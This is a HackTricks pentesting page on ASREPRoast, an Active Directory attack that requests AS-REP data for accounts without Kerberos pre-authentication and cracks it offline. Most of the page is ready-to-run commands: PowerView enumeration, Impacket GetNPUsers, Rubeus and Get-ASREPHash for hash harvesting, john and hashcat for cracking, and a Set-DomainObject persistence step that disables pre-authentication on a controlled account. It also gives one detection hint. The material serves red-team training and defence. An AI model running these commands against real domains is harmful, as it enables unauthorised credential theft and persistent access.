hacktricks/windows-hardening/active-directory-methodology/asreproast.md
Carlos Polop c2d34d11b4 arte
2024-01-02 19:28:27 +01:00

5.9 KiB

ASREPRoast

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

ASREPRoast

The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH).

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

Furthermore, no domain account is needed to perform this attack, only connection to the DC. However, with a domain account, a LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.

Enumerating vulnerable users (need domain credentials)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

Request AS_REP message

{% code title="Using Linux" %}

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

{% endcode %}

{% code title="Using Windows" %}

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

{% endcode %}

{% hint style="warning" %} AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0. {% endhint %}

Cracking

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 

Persistence

Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

References

More information about AS-RRP Roasting in ired.team

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: